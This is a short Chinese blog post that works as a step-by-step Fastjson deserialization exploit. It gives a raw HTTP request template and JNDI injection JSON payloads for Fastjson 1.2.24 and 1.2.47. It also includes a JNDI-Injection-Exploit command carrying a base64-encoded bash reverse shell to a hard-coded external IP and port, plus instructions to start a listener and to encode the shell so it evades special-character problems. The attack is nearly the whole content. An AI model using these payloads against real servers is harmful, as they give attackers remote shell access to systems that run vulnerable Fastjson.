Fastjson反弹shell

 · 2021-1-26 · 次阅读


Fastjson反弹shell

payload:
POST / HTTP/1.1
Host: ip:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 161

1.2.24
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:1099/pdlnfn",
        "autoCommit":true
    }
}

1.2.24

1.2.47
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://your_ip:1099/Exploit",
        "autoCommit":true
    }
}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45OS4xNjguMjAzLzc3NzggMD4mMQ==}|{base64,-d}|{bash,-i}" -A "起rmi服务器的vps ip"

1625552736872

将对应的rmi粘贴到payload中。

然后vps上建立监听。

成功图:

1625554589234

重点:执行的shell先用base64加密下。不然会因为特殊符号、空格等原因导致反弹shell失败。

参考:https://blog.csdn.net/qq_40007043/article/details/107615314